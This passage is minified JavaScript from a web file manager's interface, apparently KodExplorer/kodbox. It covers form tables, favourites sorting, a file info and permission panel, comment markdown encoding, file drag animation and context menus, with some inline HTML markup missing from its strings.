    ',e._index=i,this.renderHtml(n,e,!1)},"rowAction":function(n,e,a){var s=this,r=this.getFormData(n);if("edit"!=e){var o=function o(){var e=n.parent().find(".form-table-main .list-content"),t=e.find(".list-row[data-index="+a+"]");if(r.value[parseInt(a)]=!1,r.value=_.filter(r.value),"inline"==r.info.formType){var i=t.data("kodView");i&&i.objectRemove()}t.remove(),e.find("> .list-row").each(function(e){$(this).attr("data-index",e)}),s.setValue(n,r.value,!0)};r.info.removeConfirm?$.dialog.confirm(LNG["common.ifDel"],o,!1,LNG["common.delete"]):o()}else{var t=r.value[parseInt(a)]||{};this.rowAdd(n,t,a)}},"rowAdd":function(e,t,i){var n=this.getFormData(e);_.each(t,function(e,t){n.children[t]&&(n.children[t].value=e)});var a=!t;"dialog"==n.info.formType?this.rowAddDialog(e,n,a,i):this.rowAddInline(e,n,a)},"rowAddDialog":function(r,o,l,c){var d=this,e=_.get(o,"info.dialog.titleAdd",LNG["common.add"]),t=_.get(o,"info.dialog.icoAdd",'');l||(e=_.get(o,"info.dialog.titleEdit",LNG["common.edit"]),t=_.get(o,"info.dialog.icoEdit",''));var i=new kodApi.formMaker({"parent":this,"formData":o.children}),n={"id":"form-row-"+r.attr("name"),"title":e,"ico":t,"width":600,"height":500,"okVal":LNG["common.save"]};_.extend(n,o.info.dialog),i.renderDialog(n,function(e){var t=o.value,i=r.parent().find(".form-table-main .list-content");if(l){t.push(e);var n=i.find(".list-row").length,a=d.renderTableHtmlRow(e,o,n);$(a).appendTo(i)}else{t[c]=e;var s=i.find(".list-row[data-index="+c+"]");a=d.renderTableHtmlRow(e,o,c);$(a).insertBefore(s),s.remove()}d.setValue(r,t,!0)})},"rowAddInline":function(e,t,i){var n=e.parent().find(".list-content"),a=new kodApi.formMaker({"parent":this,"formData":t.children}),s=$("
    ").appendTo(n);a.renderTarget(s);var r=n.children(".list-row").length,o=a.$el;a.$(".panel-form-body").children().appendTo(a.$el),a.$(".panel-form-body").remove(),o.find(".form-target-save").remove(),o.attr("data-index",r),o.insertAfter(s).addClass("list-row"),s.remove(),a.$el=o;var l='\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.edit"]+'\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.delete"]+"\n\t\t\t
    \n\t\t
    ",c=a.$el.find(".form-row").last();c.addClass("row-action-parent"),$(l).appendTo(c),this.tableForm.push(a),i&&(t.value.push(a.getValue()),this.setValue(e,t.value,!0))},"getValue":function(e,t,i){var n=this.parent.formData[e.attr("name")],a=e.val();if(a="[]"==a?"":a,"inline"==_.get(n,"info.formType")){var s=[];e.parent().find(".form-table-main .list-row").each(function(){var e=$(this).data("kodView");e&&s.push(e.getValue(!1,i))}),s=_.filter(s),_.isEmpty(s)||(a=jsonEncode(s))}return a},"checkEmpty":function(e){var t=e.parent().find(".list-row-empty");e.val()?t.addClass("hidden"):t.removeClass("hidden")},"setValue":function(e,t,i){t="[]"==(t=_.isString(t)?t:jsonEncode(t))?"":t,e.val(t).trigger("change"),this.checkEmpty(e),i||this.renderTableValue(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-tags select","selectDataMake":function(e,t,i){e.tags=!0,e.multiple=!0,e.closeOnSelect=!1,i()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.SOURCE_TYPE={"user":1,"group":2}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=".setting-page .setting-main .setting-main-content .panel-body",a=".admin-page .admin-main .admin-main-content .panel-body",s="{pointer-events: none;opacity:0.5 !important;}",r={"user.edit":"\n\t\t"+n+".account-page a "+s+"\n\t\t.setting-page .setting-menu-left .user-head-img,\n\t\t"+n+".account-page .acc-row{pointer-events:none;}\n\t","admin.role.edit":"\n\t\t"+a+".role-page .toolbar .left button "+s+"\n\t\t"+a+".role-page .list-table .list-row .setting "+s+"\n\t","admin.job.edit":"\n\t\t"+a+".job-page .left button "+s+"\n\t\t"+a+".job-page .list-table .list-row .setting "+s+"\n\t","admin.member.userEdit":"","admin.member.groupEdit":"","admin.auth.edit":"\n\t\t"+a+".auth-page .left button "+s+"\n\t\t"+a+".auth-page .list-table .list-row .setting "+s+"\n\t","admin.plugin.edit":"\n\t\t"+a+".plugin-page .app-content .action.btn-group "+s+"\n\t\t"+a+".plugin-page .app-descript .action.btn-group "+s+"\n\t","admin.storage.edit":"\n\t\t"+a+".storage-page .app-content .action.btn-group "+s+"\n\t","admin.autoTask.edit":"\n\t\t"+a+".task-page .left button "+s+"\n\t\t"+a+".task-page .list-table .list-row .setting "+s+"\n\t"};t["default"]=r},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){e=e||{};var i="",t=r.$each,n=e.list,a=(e.item,e.$index,e.fileList),s=r.$escape;return t(n,function(e,t){i+='
    ',i+=s(e.name),i+="
    "}),i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.ioPath=G.io.KOD_USER_FAV+"/",this.dragFlag="bind-drag-sort-fav",this._delay(this.bindNotify)},"bindNotify":function(){this.root.header&&this.root.tree&&(this.listenTo(this.root.path,"list.renderAfter",this.bindFileList),this.listenTo(this.root.tree,"initAfter",function(){this.bindTree(this.ioPath)}),this.listenTo(this.root.tree.treeView,"loadAfter",this.bindTree),this.listenTo(this.root.tree.treeView,"switchChange",function(e){e&&e.open&&e.path==this.ioPath&&this.bindTree(this.ioPath)}))},"bindFileList":function(){var t=this,e=this.root.path.currentPath,i=this.$root.find(".file-continer");if("split"==this.userModel.getOption("listType")){i.dragsort("destroy"),i.removeClass(this.dragFlag);var n='[data-path="'+hashEncode(this.ioPath)+'"]',a=i=this.$root.find(".split-box").filter(n);if(0==a.length)return;i=a.children(".content")}else if(_.trim(e,"/")+"/"!=this.ioPath)return void(i.hasClass(this.dragFlag)&&(i.dragsort("destroy"),i.removeClass(this.dragFlag)));i.addClass(this.dragFlag),i.dragsort("destroy"),i.dragsort({"dragSelector":".file","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
    ","dragStart":function(e,t){if($.targetParent(t,".children-list"))return!1},"dragEnd":function(){var e=$(this).parent().children(".file");t.resetSort(e)}})},"bindTree":function(e){if(_.trim(e,"/")+"/"==this.ioPath){var t=this.root.tree.zTree.getNodesByParam("path",this.ioPath),i=!1;if(!t)return!1;if(_.each(t,function(e){_.trim(e.pathFather,"/")+"/"!=G.io.KOD_USER_FAV&&(i=e)}),i&&i.$node){var n=$("#"+i.$node.next().attr("id")),a=this;0!=n.length&&(n.hasClass(this.dragFlag)||(n.addClass(this.dragFlag),n.dragsort("destroy"),n.dragsort({"dragSelector":".tree-node","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
  • ","dragStart":function(e,t){var i=$.targetParent(t,".tree-node");if(!i||!i.parent().parent().is(n))return!1},"dragEnd":function(){var e=$(this).parent().children("li").children(".tree-node");a.resetSort(e)}})))}}},"resetSort":function(e){var i=[];e.each(function(){var e=$(this),t=e.data("fileItem")||e.data("treeNode");i.push(_.get(t,"sourceInfo.favID"))});var t=this.ioPath;i=_.filter(i).join(","),this.pathModel.favResetSort({"favList":i},function(){Events.trigger("path.pathChange",t)})}})},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){var t="",i=(e=e||{}).i,n=r.$escape,a=e.item,s=e.LNG;return t+='
    ',t+=a.viewUserInfo,t+='
    ',t+=a.viewTitle,t+='
    ',t+=a.viewCurrent,t+='
    ',t+=a.viewPercentInfo,t+='
    ',t+=n(s["common.task.timeStart"]),t+="",t+=a.viewStartTime,t+='',t+=n(s["common.task.timeUse"]),t+="",t+=a.viewUseTime,t+='',t+=n(s["common.task.timeNeed"]),t+="",t+=a.viewNeedTime,t+='
    ',t+=n(s["common.task.running"]),t+='',t+=n(s["common.task.stoping"]),t+='',t+=n(s["common.task.killing"]),t+='
    ","resizeCallback":function(){e.$(".tab-group-line .tab-item.active").tabCurrent(),e.$(".perfectScroll").perfectScroll()},"close":function(){e.objectRemove()}});var o=this.dialog.$main;this.open=!0,this.$main=o.find(".file-panel"),this.$el=this.$main,this.dialog.kodView=this,o.data("kodView",this),o.data("root",this.root);var l="+="+10*$(".artDialog.dialog-file-panel").length+"px";this._delay(function(){o.css({"left":l,"top":l})}),this.initView(),this.bindEvent(),this.reloadView(),this.pathInfo(function(){this.reloadView()}),this.dialog.position("50%","40%"),this.bind("onRemove",function(){this.pathInfoAjax&&this.pathInfoAjax.abort(),this.dialog&&this.dialog.close()}),$.contextMenu.clickBind(this.$main,".menu-left-click,.menu-trigger")},"bindEvent":function(){var e=this.dialog.$main;if(this.bind("tabChange",function(){this.$main.find(".perfectScroll").perfectScroll(),e.hasClass("dialog-max")||e.css({"width":"auto","min-width":"auto"})}),1==this.listData.length){var t=this.listData[0];this.listenTo(this.root.pathAction,"pathChangeNotify",function(e){e==t.path&&this._delay(function(){this.pathInfo(this.reloadView)},10)}),this._delay(function(){this.$('.dialog-tab [tab-name="'+this.selectTab+'"]').tabCurrent()},200)}},"pathInfo":function(i){var n={"dataArr":[]},a=this,s=$.objClone(this.listData);if(this._each(this.listData,function(e){var t={"path":e.path};this.infoSimple&&(t["type"]="simple"),n.dataArr.push(t),e.sourceInfo={},e.metaInfo={},delete e._itemDataBefore}),!this.infoSimple){var e=LNG["common.detail"]+LNG["explorer.getting"];this.tipsLoading=Tips.loadingMask(this.$(".panel-info"),e)}this.infoSimple=!0,this.pathInfoAjax&&this.pathInfoAjax.abort(),this.pathInfoAjax=this.pathModel.pathInfo(n,function(e){if(a.tipsLoading&&a.tipsLoading.close(),a.tipsLoading=!1,e&&e.code){var t=_.isArray(e.data)?e.data:[e.data];a.listData=$.extend(!0,a.listData,t),this._each(a.listData,function(e,t){e.downloadPath=_.get(s[t],"downloadPath",e.downloadPath)}),jsonEncode(s)==jsonEncode(a.listData)||i&&i.apply(a,a.listData)}})},"rootSelector":function(){return"."+this.dialog.config.id},"display":function(){},"bindResize":function(){}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=d(i(410)),a=d(i(418)),s=d(i(165)),r=d(i(422)),o=d(i(424)),l=d(i(430)),c=d(i(166));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.selectTab="panel-info",this.bindEventInit(),this.changeTabEventNow=this.changeTabEvent,this.changeTabEvent=_.debounce(_.bind(this.changeTabEvent,this),20),this.historyBindFile=new s["default"]({"parent":this}),this._delay(function(){this.historyBindFile.bindFileMenu()},100)},"bindEventInit":function(){var e=this;this.panelSave=!($.isWindowSmall()||"explorerDialog"==this.root.viewType),this.open="1"==this.userModel.getOption("filePanel"),this.open=!!this.panelSave&&this.open,this.$main=this.$(".file-panel"),this.$main.find(".panel-tab-content").addClass("tab-animate-fade"),this.$(".panel-toggle").bind("click",function(){e.open=!$(this).hasClass("active"),e.panelSave&&e.userModel.setOption("filePanel",Number(e.open)),e.display()}),this.listenTo(this.parent.select,{"select.change":function(){"1"==this.userModel.getOption("filePanel")&&(this.displayFirst||(this.display(),this.displayFirst=!0),this.reloadData())}})},"initView":function(){var e=i(433);this.renderHtml(e,!1,this.$main),this.viewChat=new n["default"]({"parent":this}),this.viewHistory=new a["default"]({"parent":this}),this.viewLog=new r["default"]({"parent":this}),this.viewInfo=new o["default"]({"parent":this}),this.viewAuth=new c["default"]({"parent":this}),this.viewMeta=new l["default"]({"parent":this}),this.bindEventView(),this.bindResize()},"rootSelector":function(){return this.root.rootSelector()},"bindEventView":function(){var t=this;this.$main.children(".tab-group-line").find(".tab-item").bind("click",function(e){t.selectTab=$(this).attr("tab-name"),t.changeTab(t.selectTab,!0)}),this.$(".panel-close").bind("click",function(e){t.$(".panel-toggle").trigger("click")})},"bindResize":function(){var t="explorerPanelWidth";this.resize=this.$main.dragResize({"size":{"init":300,"min":285,"max":600},"className":"drag-resize-panel","orgin":"x","viewBefore":!1,"storeValue":function(e){return _.isUndefined(e)?this.userModel.getOptionResize(t)||300:this.userModel.setOptionResize(t,e)},"onChange":function(e,t){this.root.trigger("file.continer.resize"),t&&(this.$(".tab-group-line .tab-item.active").tabCurrent(),this.$main.find(".perfectScroll").perfectScroll())}},this)},"display":function(){this.initViewFirst||(this.initViewFirst=!0,this.initView());var e=this.$main.parent(),t=this.$(".panel-toggle"),i=this.$(".file-continer");i.css("width",i.width()),this._delay(function(){i.css("width","inherit"),this.root.trigger("file.continer.resize")},300),this.open?(this.$main.removeClass("hidden"),t.addClass("active"),e.addClass("panel-open"),this.reloadData(),this.resize.sizeChange(),this.$main.css("right",0)):(this.selectTab="panel-info",t.removeClass("active"),e.removeClass("panel-open"),e.find(".bodymain").css("right",0),e.find(".drag-resize-panel").css("right",0),this.$main.css("right",-1-this.$main.width())),this.root.trigger("file.continer.resize")},"reloadData":function(){if(this.open){this.listData=this.root.pathAction.makeParamSelect();var e=this.root.path.jsonData;_.isEmpty(e)||(_.isEmpty(this.listData)&&(this.listData=[e.current]),this.reloadView())}},"reloadView":function(){var t=this.$main.children(".tab-group-line"),e=this.listData,i=this.root.pathAction.auth;if(1"+e+""),i={};if(1<=t.find(".comment-text").length){var n="";t.find(".comment-text").each(function(){n+=$(this).prop("outerHTML")+"
    "}),t=$(""+n+"")}t.find("[data-node]").each(function(){var e=$(this);switch(e.attr("data-node")){case"text":var t=e.attr("title");$(""+t+"").insertBefore(e);break;case"markdown":if(!(t=(t=e.attr("data-markdown"))?base64Decode(t):e.textGet()))break;$("[markdown]"+t+"[/markdown]").insertBefore(e);break;case"param":i[e.attr("data-key")]=e.attr("data-value")}}),t.find("[data-node]").remove(),t.find("img").each(function(){var e="[@base64:"+base64Encode($(this).prop("outerHTML"))+"@]";$(""+e+"").insertBefore($(this))}),t.find("img").remove();var a=t.textGet();return a=this.domDecode(a)},"imageEncode":function(e){var t=/|\/>)/gi;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return"[@base64:"+base64Encode(e)+"@]"}):e},"markdownEncode":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)&&n.markdownParse?e.replace(t,function(e,t){var i=n.markdownParse(t);return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"markdownEncodeEditor":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=n.encodeSpace(htmlEncode(t));return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"autoLink":function(e,t){t=t||"";return e.replace(/(^|[\s\n]|<[A-Za-z]*\/?>)((?:https?|ftp):\/\/[\-A-Z0-9+\u0026\u2019@#\/%?=()~_|!:,.;]*[\-A-Z0-9+\u0026@#\/%=~()_|])/gi,function(e){return"[@base64:"+base64Encode(""+e+"")+"@]"})},"domDecode":function(e){return e.replace(/\[@base64:([\w\/\+\=]*)@\]/g,function(e,t){return base64Decode(t)})},"encodeSpace":function(e){return e=(e=(e=(e=(e=e.replace(/\r\n/g,"
    ")).replace(/\n/g,"
    ")).replace(/\r/g,"
    ")).replace(/ /g," ")).replace(/\t/g,"    ")},"encodeHtml":function(e){return e=this.imageEncode(e),e=this.encodeSpace(e),e=this.domDecode(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"license-step-002":"

    "+LNG["common.copyright.logoTitle"]+"

    ","systemNameType":{"display":LNG["common.copyright.formLogo"],"type":"segment","className":" license-auto-show ","value":G.system.options.systemNameType,"info":{"text":""+LNG["common.copyright.formLogoTypeWord"],"image":""+LNG["common.copyright.formLogoTypeImage"]},"switchItem":{"image":"systemLogo"},"desc":LNG["common.copyright.formLogoDesc"]+'. '+LNG["common.test"]+""},"systemLogo":{"type":"fileSelect","display":LNG["common.copyright.formLogoImage"],"className":" license-auto-show ","value":G.system.options.systemLogo,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoImageDesc"]},"systemLogoMenu":{"type":"fileSelect","display":LNG["common.copyright.formLogoMain"],"className":" license-auto-show ","value":G.system.options.systemLogoMenu,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoMainDesc"]},"license-step-004":"

    "+LNG["common.copyright.formPowerByInfo"]+"

    ","common.copyright.powerBy":{"type":"input","display":LNG["common.copyright.formPowerBy"],"value":LNG["common.copyright.powerBy"],"className":" license-auto-show "},"common.copyright.homepage":{"type":"input","display":LNG["common.copyright.formHomePage"],"value":LNG["common.copyright.homepage"],"className":" license-auto-show "},"common.copyright.contact":{"type":"input","display":LNG["common.copyright.formConcat"],"value":LNG["common.copyright.contact"],"className":" license-auto-show "},"common.copyright.desc":{"type":"textarea","display":LNG["common.copyright.formDesc"],"value":LNG["common.copyright.desc"],"desc":LNG["common.copyright.formDescTips"],"className":" license-auto-show "},"common.copyright.metaKeywords":{"type":"input","display":LNG["common.copyright.formMetaKeywords"],"value":LNG["common.copyright.metaKeywords"],"className":" license-auto-show hidden"},"common.copyright.metaName":{"type":"input","display":LNG["common.copyright.formMetaName"],"value":LNG["common.copyright.metaName"],"className":" license-auto-show hidden"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindFileMenu":function(){this.pathAction=this.root.pathAction,this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow})},"menuShow":function(e){if(_.includes([".menu-path-file",".menu-simple-file",".menu-path-mini-file",".menu-path-guest-file",".menu-share-root-file"],e.menuType)){this.menuAppend(e);var t=this.pathAction.makeParamItem(),i=_.get(t,"sourceID")&&this.pathAction.auth.canWrite(e.$target)?"menuItemShow":"menuItemHide";$.contextMenu[i](e,"file-history"),$.contextMenu[i](e,"file-history-replace")}},"menuAppend":function(e){if(!e.extendFileHistory){var n=this,t={"file-history":{"name":LNG["explorer.history.list"],"className":"hidden ","icon":"ri-history-line","callback":function(e,t){var i=n.pathAction.makeParamItem();n.pathAction.pathInfo(i,"history")}}},i={"file-history-replace":{"name":LNG["explorer.history.uploadNew"],"className":"hidden ","icon":"ri-upload-fill-2","callback":function(e,t){var i=n.pathAction.makeParamItem();n.uploadNewVersion(i)}}};$.contextMenu.menuAdd(t,e,!1,".more-action"),$.contextMenu.menuAdd(i,e,!1,".fav-add"),e.extendFileHistory=!0}},"uploadNewVersion":function(e){var t=this.root.pathAction,i={"uploadApi":this.pathModel.urlMake("upload"),"uploadTo":t.pathFather(e),"single":!0,"postParam":{"fileRepeat":"replace","name":e.name},"config":_.extend({"accept":{"title":LNG["explorer.history.uploadNew"],"extensions":e.ext,"mimeTypes":"."+e.ext}},_.clone(G.system.settings.upload))},n=t.uploadWithParam(i);return this.listenToOnce(n,{"itemUploadSuccess":function(){t.pathChangeNotify(e.path),Events.trigger("explorer.panel.history.change",e.path)}}),n}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=n(i(2)),o=n(i(432)),l=i(156);function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$(".tab-group-pan .panel-auth"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-auth",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.auth.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(t){if(this.pathInfo.path!=t.path){this.pathInfo=t;var i=this,e={"path":t.path,"action":"getData"},n=Tips.loadingMask(this.$el,!1,.2);this.$(".panel-content").html(""),this.form&&this.form.objectRemove(),this.pathModel.setAuth(e,function(e){if(n.close(),!e.code)return Tips.tips(e,"warning");i.initFormView(t,e.data,i.$(".panel-content"))})}},"initFormView":function(e,t,i){var n=(0,o["default"])().base,a=e.targetID;"1"!=(n.auth.attr["data-parentGroup"]=a)&&(n.auth.attr["data-rootParam"]="appendRootGroup");var s=this.authParseResponse(t);n.authSelf.value=_.get(e,"auth.authInfo.id"),s.allAuth&&(n.allAuthType.value="set",n.allAuth.value=s.allAuth),n.auth.value=s.list,this.form=new r["default"]({"parent":this,"formData":n}),this.form.renderTarget(i),this.bindEvent(i,e),this.initViewFinished?i.find(".config-box").hide().delay(50).fadeIn(150):(this.initViewFinished=!0,i.find(".config-box").hide().delay(50).fadeIn(250))},"authParseResponse":function(e){var n={"user":{},"group":{}},a=!1;return _.each(e,function(e){var t=e.targetType==l.SOURCE_TYPE.group?"group":"user",i=e.targetID+"";"0"!=i?n[t][i]=e.authID+"":a=e.authID+""}),{"allAuth":a,"list":n}},"bindEvent":function(e,t){var i=this,n=this.root.pathAction;e.addClass("form-box-title-block"),e.find(".source-auth-info").bind("click",function(){n.auth.authLabel.authShow()}),e.find(".form-save-button").bind("click",function(e){i.authSave(t,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}),e.find("[name=auth]").bind("change",function(){i.checkHaveSelf(i.form)}),e.find(".form-reset-button").unbind("click").bind("click",function(e){$.dialog.confirm(LNG["explorer.ifPathAuthClear"],function(){i.authClear(t)})})},"checkHaveSelf":function(e){var t=G.user.userID,i=jsonDecode(e.getValue("auth"));if(i){var n=i.user||i;if(!_.isUndefined(n[t]))e.$el.find(".auth-select-box").find('[data-type="userID"]').filter('[data-id="'+t+'"]').addClass("disabled")}},"authSave":function(e,t){var i=[],n=G.user.userID,a=_.get(e,"auth.authInfo.id","1"),s=this.form.getValue();i.push({"targetType":l.SOURCE_TYPE.user,"targetID":n,"authID":a}),"set"==s.allAuthType&&i.push({"targetType":l.SOURCE_TYPE.user,"targetID":0,"authID":s.allAuth}),s.auth=jsonDecode(s.auth),s.auth?s.auth.user?(_.each(s.auth.user,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}),_.each(s.auth.group,function(e,t){i.push({"targetType":l.SOURCE_TYPE.group,"targetID":t,"authID":e})})):_.each(s.auth,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}):"set"!=s.allAuthType&&(i={});var r={"path":e.path,"auth":i};this.pathModel.setAuth(r,t)},"authClear":function(t){var i=this,e={"path":t.path,"action":"clearChildren"};this.pathModel.setAuth(e,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=s(i(462)),a=s(i(463));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$root.find(".frame-main-explorer,.frame-main-desktop"),this.$main=this.$(".file-continer"),this.initChildren(),this.bindDrag()},"bindDrag":function(){this.$main.drag({"delegate":".file","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"initChildren":function(){this.fileLight=this.parent.fileLight,this.drop=new n["default"]({"parent":this}),this.autoEvent=new a["default"]({"parent":this})},"getSelect":function(e){var t=this.parent.fileLight,i=this.root.pathAction.auth,n=$();t.$listSelect.each(function(){var e=$(this);i.canCopyCute(e)&&(n=n.add(e))}),this.$select=n},"dragStart":function(e){var t=this;return $.contextMenu.hidden(),!e.shiftKey&&(this.getSelect(e),0!=this.$select.length&&($(document).one("keyup",function(e){27==e.which&&t.clearDrag(e)}),this.clearDrag(e),this.dragTipsMake(e),this.fileDragMake(e),this.isDraging=!0,void this.trigger("dragStart",e)))},"dragMove":function(e){if(this.isDraging){var t=e.clientX+this.offsetMouseX,i=e.clientY+this.offsetMouseY;this.$dragTips.css({"left":t,"top":i}),this.fileDragUpdate(t,i+this.offsetBoxTop),this.trigger("dragMove",e)}},"dragEnd":function(e){if(this.trigger("dragEnd",e),this.isDraging){var t=this;this.fileDragRemove(),this.$dragTips.addClass("animated-500 flipOutXLine"),this.$dragTips.fadeOut(this.animateTime,function(){t.$dragTips.remove()})}else this.clearDrag(e)},"clearDrag":function(e){this.isDraging=!1,clearTimeout(this.timerDelayRemove),this.$drag.remove(),this.$dragTips.remove(),this.$select.removeClass("item-file-draging"),this.trigger("clearDrag")},"isDraging":!1,"animateTime":150,"offsetMouseX":15,"offsetMouseY":-5,"offsetTime":5,"offsetBoxTop":35,"$drag":$(),"$dragList":$(),"$select":$(),"$dragTips":$(),"dragTipsMake":function(){var e=this.$select.length,t='\n\t\t\t
    \n\t\t\t\t
    '+e+"
    \n\t\t\t\t"+e+" "+LNG["common.file"]+"\n\t\t\t
    ";this.$dragTips=$(t).appendTo(this.$el)},"fileDragMake":function(e){this.fileDragRender(e);var n=this.$dragList;this.$select.addClass("item-file-draging"),n.each(function(e){var t=$(n.prevObject[e]),i=t.offset();$(this).css({"left":i.left,"top":i.top,"width":t.width()}),$(this).data({"offset":i,"cloneFrom":t})})},"fileDragRender":function(e){var t="file-list-"+this.userModel.getOption("listType"),i="\n\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    ";this.$drag=$(i).appendTo(this.$el);var n=this.$select.clone();(50<=this.$select.length||$.browser.msie)&&(n=$(e.target).parents(".file").clone());n.appendTo(this.$drag.find(".file-draging")),this.$dragList=n},"fileDragUpdate":function(n,a){var l=this;this.destX=n,this.destY=a,this.$dragList.each(function(e){var o=$(this),t={"left":n,"top":a};if("finished"==o.data("animate"))return o.css(t);if(!o.data("animateStart")){o.data("animateStart","1");var i=l.animateTime+e*l.offsetTime;o.animate({"opacity":1},{"duration":i,"easing":"swing","progress":function(e,t,i,n,a){var s=o.data("offset"),r={"left":(l.destX-s.left)*t+s.left,"top":(l.destY-s.top)*t+s.top};o.css(r)},"complete":function(){o.data("animate","finished")}})}})},"destX":0,"destY":0,"fileDragRemove":function(){var s=this,r=1.5*s.animateTime;this.$dragList.each(function(e){var t=$(this),i=r+e*s.offsetTime,n=t.data("offset"),a=t.data("cloneFrom");a&&a.exists()?t.stop().animate(n,i,function(){a.removeClass("item-file-draging"),t.remove()}):t.stop().animate({"opacity":0},i,function(){t.remove()})}),this.timerDelayRemove=this._delay(function(){s.$drag.remove(),s.$select.removeClass("item-file-draging"),s.$dragList=$()},10+r+this.$dragList.length*s.offsetTime)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var e='';return{"new-folder":{"name":LNG["explorer.newFolder"]+"Alt+M","icon":"ri-folder-fill-3","accesskey":"n"},"new-file":{"name":LNG["explorer.newFile"],"accesskey":"j"},"open":{"name":LNG["common.open"]+"Enter","icon":"ri-external-link-line","accesskey":"o"},"open-father":{"name":LNG["explorer.openFather"],"icon":"ri-folder-fill-3","accesskey":"f"},"refresh":{"name":LNG["common.refresh"]+"F5","icon":"ri-refresh-line","accesskey":"e"},"path-info":{"name":LNG["explorer.info"]+"Alt+I","icon":"ri-information-line","accesskey":"i"},"path-auth":{"name":LNG["admin.setting.auth"]+"Alt+Shift+I","icon":"ri-lock-line-2","accesskey":"q"},"copy":{"name":LNG["explorer.copy"]+"Ctrl+C","icon":"ri-file-copy-line-2","accesskey":"c"},"cute":{"name":LNG["explorer.cute"]+"Ctrl+X","icon":"ri-scissors-fill","accesskey":"k"},"past":{"name":LNG["explorer.past"]+"Ctrl+V","icon":"ri-survey-line","className":"explorer-past-item past","accesskey":"p"},"copy-to":{"name":LNG["explorer.copyTo"],"icon":"ri-file-copy-line-2"},"cute-to":{"name":LNG["explorer.cuteTo"],"icon":"ri-scissors-fill"},"clipboard":{"name":LNG["explorer.clipboard"],"icon":"ri-inbox-line","accesskey":"v"},"download":{"name":LNG["common.download"],"icon":"ri-download-fill-2","accesskey":"x"},"rename":{"name":LNG["common.rename"]+"F2","icon":"ri-pencil-fill","accesskey":"r"},"remove":{"name":LNG["common.delete"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"clone":{"name":LNG["explorer.clone"],"icon":"ri-file-copy-line-2"},"search":{"name":LNG["explorer.searchInPath"],"icon":"ri-search-line","accesskey":"s"},"upload":{"name":LNG["common.upload"],"icon":"ri-upload-fill-2","accesskey":"u"},"upload-file":{"name":LNG["explorer.uploadFile"]+"Ctrl+U","icon":"ri-upload-fill-2"},"upload-folder":{"name":LNG["explorer.uploadFolder"],"icon":"ri-upload-fill-2","className":"upload 